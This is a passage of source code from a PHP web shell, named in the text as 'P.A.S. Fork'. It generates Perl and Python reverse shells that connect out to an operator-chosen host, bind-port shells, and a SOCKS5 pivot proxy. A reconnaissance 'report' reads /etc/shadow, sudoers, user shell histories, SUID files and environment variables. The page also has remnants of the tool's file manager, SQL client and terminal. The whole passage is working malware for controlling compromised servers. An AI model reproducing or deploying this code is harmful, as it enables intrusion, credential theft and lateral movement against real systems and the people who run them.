!connect(D,sockaddr_in(unpack("n",$b),$d))){syswrite($C,"\x05\x05\x00".$t.$a);shutdown($C,0);close($C);close(D);return;}syswrite($C,"\x05\x00\x00".$t.$a);$m="";$fc=fileno($C);$fd=fileno(D);vec($m,$fc,1)=1;vec($m,$fd,1)=1;do{$c=$m;$rc=-1;$rd=-1;if(select($c,undef,undef,1)){if(vec($c,$fc,1)){$rc=sysread($C,$b,10240);if($rc){syswrite(D,$b);}}if(vec($c,$fd,1)){$rd=sysread(D,$b,10240);if($rd){syswrite($C,$b);}}}}while($rc!=0 && $rd!=0);shutdown($C,2);close($C);shutdown(D,2);close(D);}while(accept(C,S)){threads->create("prcss",C);}'; } else { $v = getCmdOpt($D['e'], 's', NIX ? '/bin/sh -i' : 'cmd'); $p .= 'print"[OK] Successful connected!\n";open(STDOUT,">&$r") or die"$f Redirect STDOUT: $!";print "\n# P.A.S. Fork v.' . VER . ' ' . $k . '\n\n";open(STDIN, "<&$r") or die"$f Redirect STDIN: $!";open(STDERR,">&STDOUT") or print"$w Redirect STDERR: $!\n";exec("' . $v . '") or die"$f Run shell (' . $v . '): $!";'; } $s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/perl' : 'perl.exe'); if ($v = tempFile($p)) { exe($s . ' ' . $v . ' &', $D['f'], $D['s']); delFile($v); } else exe($s . " -e '" . $p . "' &", $D['f'], $D['s']); } elseif (in_array($k, array( 'backconnect.python', 'bindport.python', 'socks5.python' ))) { $p = "try:\n import sys,socket"; if ($k === 'socks5.python') $p .= ',struct,threading,select'; else $p .= ',os,' . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess' : 'pty'); $p .= ";\n S = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n"; if ($k === 'backconnect.python') { $p .= ' S.connect(("' . strtok(' ') . '",' . strtok(' ') . "));\n"; $s = 'S'; } else $p .= " S.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);\n" . ' S.bind(("' . getCmdOpt($D['e'], 'a', '') . '",' . strtok(' ') . "));\n S.listen(5);\n"; if ($k === 'bindport.python') { $p .= " (C,A) = S.accept();\n"; $s = 'C'; } if ($k === 'socks5.python') { $v = getCmdOpt($D['e'], 's', ''); if ($v) $v = explode(':', $v); $p .= "except Exception as e:\n print(e);\nelse:\n" . ' print("[Succ] Server successfully launched!"+chr(10));' . "\n sys.stdin.close();\n sys.stderr.close();\n sys.stdout.close();\n def prcss(C):\n" . ' if C.recv(1)!=b"\x05":' . "\n C.shutdown(2);\n C.close();\n return;\n" . ' if b"\x0' . ($v ? '2' : '0') . '" not in C.recv(struct.unpack("B", C.recv(1))[0]):' . "\n" . ' C.send(b"\x05\xFF");' . "\n C.shutdown(0);\n C.close();\n return;\n" . ' C.send(b"\x05\x0' . ($v ? '2' : '0') . '");' . "\n"; if ($v) $p .= ' if (C.recv(1)!=b"\x01") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[0] . '") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[1] . '"):' . "\n" . ' C.send(b"\x01\xFF");' . "\n C.shutdown(0);\n C.close();\n return;\n" . ' C.send(b"\x01\x00");' . "\n"; $p .= ' if C.recv(1)!=b"\x05":' . "\n C.shutdown(2);\n C.close();\n return;\n c = C.recv(1);\n" . ' if C.recv(1)!=b"\x00":' . "\n C.shutdown(2);\n C.close();\n return;\n t = C.recv(1);\n" . ' if t==b"\x01":' . "\n a = C.recv(4);\n" . ' d = socket.inet_ntoa(a);' . "\n" . ' elif t==b"\x03":' . "\n a = C.recv(1);\n" . ' d = C.recv(struct.unpack("B", a)[0]);' . "\n a += d;\n" . ' elif t==b"\x04":' . "\n a = C.recv(16);\n" . ' d = socket.inet_ntop(socket.AF_INET6, a);' . "\n else:\n C.shutdown(2);\n C.cloce();\n return;\n p = C.recv(2);\n a += p;\n" . ' if c!=b"\x01":' . "\n" . ' C.send(b"\x05\x07\x00"+t+a);' . "\n C.shutdown(0);\n C.close();\n return;\n D = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n try:\n" . ' D.connect((d, struct.unpack(">H", p)[0]));' . "\n except:\n" . ' C.send(b"\x05\x05\x00"+t+a);' . "\n C.shutdown(0);\n C.close();\n D.close();\n else:\n" . ' C.send(b"\x05\x00\x00"+t+a);' . "\n C.setblocking(0);\n D.setblocking(0);\n while True:\n r,w,e = select.select([C,D], [], []);\n if len(r)>0:\n try:\n d = r[0].recv(10240);\n if r[0]==C:\n D.send(d);\n else:\n C.send(d);\n except:\n D.close();\n C.close();\n break;\n while True:\n (C,A) = S.accept();\n t = threading.Thread(target=prcss,args=(C,));\n t.daemon = True;\n t.start();"; } else $p .= ' print("[OK] Successful connected!\n");' . "\n sys.stdout.flush();\n" . ' os.dup2(' . $s . ".fileno(),0);\n" . ' os.dup2(' . $s . ".fileno(),1);\n" . ' os.dup2(' . $s . ".fileno(),2);\n" . ' print("\n# P.A.S. Fork v.' . VER . ' ' . $k . '\n\n");' . "\n sys.stdout.flush();\n " . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess.Popen' : 'pty.spawn') . '(["' . getCmdOpt($D['e'], 's', NIX ? '/bin/sh","-i' : 'cmd') . '"]);' . "\nexcept Exception as e:\n" . ' print(e);'; $s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/python' : 'python.exe'); if ($v = tempFile($p)) { exe($s . ' ' . $v . ' &', $D['f'], $D['s']); delFile($v); } else exe("echo '" . $p . "'| " . $s . ' - &', $D['f'], $D['s']); } elseif ($k === 'report') { $i = getCmdOpt($D['e'], 's', ''); if (NIX) { $t = "echo ' -------------------------------------------------';"; $h = 'echo;echo;' . $t . "echo '|' "; $v = "echo '* This report created by P.A.S. Fork v." . VER . "';echo '* '`date -u +'%Y-%m-%d %H:%M:%S %Z'`;"; if (strpos($i, 'o') === FALSE) $v .= $h . 'OS Identification;' . $t . "echo '==> uname <==';" . 'uname -a;echo;tail -n +1 /proc/*version* /etc/*issue* /etc/*release* /etc/*version* /etc/motd;'; if (strpos($i, 'e') === FALSE) $v .= $h . 'Environment;' . $t . 'env;'; if (strpos($i, 'u') === FALSE) $v .= $h . 'Users and Groups;' . $t . "echo '==> id <==';" . 'id;echo;' . "echo '==> whoami <==';" . 'whoami;echo;tail -n +1 /etc/*passwd* /etc/*group* /etc/*shadow* /etc/sudoers;echo;' . "echo '==> who <==';" . 'who;'; if (strpos($i, 'l') === FALSE) $v .= $h . 'Lang;' . $t . 'php -v|head -n1;python -V 2>&1;perl -v|head -n2|tail -n1;ruby -v;gcc --version|head -n1;'; if (strpos($i, 'p') === FALSE) $v .= $h . 'Processes;' . $t . 'ps -uax;'; if (strpos($i, 'c') === FALSE) $v .= $h . 'CPU;' . $t . 'cat /proc/cpuinfo;'; if (strpos($i, 'n') === FALSE) $v .= $h . 'Network;' . $t . 'tail -n +1 /etc/host*;' . "echo '==> Listening ports <==';" . 'netstat -ln;' . "echo '==> IP config <==';" . 'ifconfig -a; ip a;'; if (strpos($i, 'r') === FALSE) $v .= $h . 'Cron;' . $t . 'tail -n +1 /etc/*crontab;' . "echo '==> Files <==';" . 'ls -al /etc/*cron*;ls -al /var/spool/cron/*;echo;'; if (strpos($i, 'h') === FALSE) $v .= $h . 'Histories;' . $t . 'for d in `cut -d":" -f6 /etc/passwd`;do ls -al $d/.*hist*;done;'; if (strpos($i, 'f') === FALSE) { $v .= $h . 'File System;' . $t . "echo '==> mount <==';mount;echo;echo '==> Disks <==';df -h;echo;echo '==> / <==';ls -al /;echo;echo '==> /boot <==';ls -al /boot;echo;echo '==> /etc <==';ls -al /etc;echo;echo '==> /tmp <==';ls -al /tmp;echo;echo '==> Libs <==';ls -al --full-time /lib*;echo;"; if (strpos($i, 's') === FALSE) $v .= "echo '==> SUID Files <==';" . 'find / -type f -perm -u+s -ls;'; } } else { $t = 'echo ------------------------------------------------- & '; $h = $t . 'echo ^| '; $v .= $h . 'OS &' . $t . 'reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName & '; if (strpos($i, 's') === FALSE) $v .= $h . 'System Info & ' . $t . 'systeminfo & '; if (strpos($i, 'e') === FALSE) $v .= $h . 'Environment & ' . $t . 'SET & '; if (strpos($i, 'u') === FALSE) $v .= $h . 'Users and Groups & ' . $t . 'NET USER & NET LOCALGROUP & NET GROUP & '; if (strpos($i, 't') === FALSE) $v .= $h . 'Tasks & ' . $t . 'schtasks /v & '; if (strpos($i, 't') === FALSE) $v .= $h . 'Processes & ' . $t . 'tasklist /SVC & '; if (strpos($i, 'n') === FALSE) $v .= $h . 'Network & ' . $t . 'echo ==^> ipconfig ^<== & ipconfig /all & echo ==^> netstat ^<== & netstat -ano & echo ==^> Files ^<== & type %systemroot%\\system32\\drivers\\etc\\* & '; if (strpos($i, 'r') === FALSE) $v .= $h . 'Share & ' . $t . 'NET SHARE & '; } $i = getCmdOpt($D['e'], 'f', FALSE); exe($v, $D['f'], $D['s'], TRUE, $i ? ' 1>' . $i : ''); if ($i) echo 'Report saved as ', $i, "\n"; } else { $s = NIX ? ';' : '&'; $v = 'cd ' . (NIX ? nesc($D['p']) : wesc($D['p'])) . $s; if ($D['e'] !== '') { $v .= $D['e']; if (substr($D['e'], -1) !== $s) $v .= $s; } $v .= 'echo ' . "\x03\x1E\x02" . $s . (NIX ? 'whoami' : 'echo %username%') . $s . 'hostname' . $s . (NIX ? 'pwd' : 'cd'); exe($v, $D['f'], $D['s'], !isset($D['h'])); } sDie("\x03\x1E\x17\x04\x10"); break; default: if ($D['t'] === 'm') { infMain(); sDie(); } if ($D['t'] === 'p') { echo '{"Configs":{'; $a = array(); $b = FALSE; if (PHP_VERSION >= '5.2.4') $a[] = php_ini_loaded_file(); if (PHP_VERSION >= '4.3') $a[] = php_ini_scanned_files(); if ($a) { $b = TRUE; echo '"Loaded files":'; jsonEcho(implode(",\n", $a)); } if (PHP_VERSION >= '4.2' && is_array($a = ini_get_all())) foreach ($a as $k => $v) { if ($b) echo ','; else $b = TRUE; jsonEcho($k); echo ':'; jsonEcho($v['local_value']); } echo '}'; echo ',"Main Constants":{'; $b = FALSE; foreach (array( 'PHP_OS', 'PHP_WINDOWS_VERSION_MAJOR', 'PHP_WINDOWS_VERSION_MINOR', 'PHP_WINDOWS_VERSION_BUILD', 'PHP_WINDOWS_VERSION_SP_MAJOR', 'PHP_WINDOWS_VERSION_SP_MINOR', 'PHP_WINDOWS_VERSION_SUITEMASK', 'PHP_WINDOWS_VERSION_PLATFORM', 'PHP_WINDOWS_VERSION_PRODUCTTYPE', 'PHP_WINDOWS_NT_WORKSTATION', 'PHP_WINDOWS_NT_SERVER', 'PHP_WINDOWS_NT_DOMAIN_CONTROLLER', 'PHP_SAPI', 'PHP_VERSION', 'PHP_BINARY', 'PHP_PREFIX', 'PHP_BINDIR', 'PHP_LIBDIR', 'PHP_SHLIB_SUFFIX', 'PHP_EXTENSION_DIR', 'PHP_DATADIR', 'PHP_CONFIG_FILE_PATH', 'PHP_CONFIG_FILE_SCAN_DIR', 'PHP_MANDIR', 'DEFAULT_INCLUDE_PATH', 'PHP_SYSCONFDIR', 'PHP_LOCALSTATEDIR', 'DIRECTORY_SEPARATOR', 'PATH_SEPARATOR', 'PHP_MAXPATHLEN', 'PHP_INT_MAX', 'PHP_INT_SIZE', 'PEAR_INSTALL_DIR', 'PEAR_EXTENSION_DIR' ) as $v) if (defined($v)) { if ($b) echo ','; else $b = TRUE; echo '"', $v, '":'; jsonEcho(constant($v)); } echo '}'; if (is_array($a = get_loaded_extensions())) { echo ',"Modules":{'; $b = FALSE; $i = array( 'DOTTED_VERSION', 'VERSION', 'VERSION_TEXT' ); foreach ($a as $v) { if ($b) echo ','; else $b = TRUE; jsonEcho($v); echo ':'; if (!($k = phpversion($v))) { $v = strtoupper($v); foreach ($i as $n) if (defined($v . '_' . $n)) { $k = constant($v . '_' . $n); break; } } if ($k) jsonEcho($k); else echo '""'; } echo '}'; } if (PHP_VERSION >= '5') { echo ',"Streams":{"Transports":'; jsonEcho(implode(", ", stream_get_transports())); echo ',"Wrappers":'; jsonEcho(implode(", ", stream_get_wrappers())); echo ',"Filters":'; jsonEcho(implode(", ", stream_get_filters())); echo '}'; } $b = FALSE; foreach (array( '_ENV', '_SERVER', '_SESSION', '_REQUEST', '_GET', '_POST', '_COOKIE', '_FILES', 'HTTP_RAW_POST_DATA', 'argc', 'argv' ) as $v) if (isset($$v) && count($$v) > 0) { if (!$b) echo ',"Global Variables":{'; foreach ($$v as $k => $i) { if ($b) echo ','; else $b = TRUE; jsonEcho($v . '[' . $k . ']'); echo ':'; jsonEcho(print_r($i, TRUE)); } } if ($b) echo '}'; sDie('}'); } break; } } ob_start(); ?> <?php if(isset($_SERVER['HTTP_HOST']))echo escHTML($_SERVER['HTTP_HOST']);elseif(isset($_SERVER['SERVER_NAME']))echo escHTML($_SERVER['SERVER_NAME']);?>
File Manager
isDir())echo'';}}?>  

NameExtSizeModified (UTC)Permission Owner Actions
SQL Client


Dump as
Start from row
Rows per page
PHP Console


Terminal


:
Information
Main / PHP /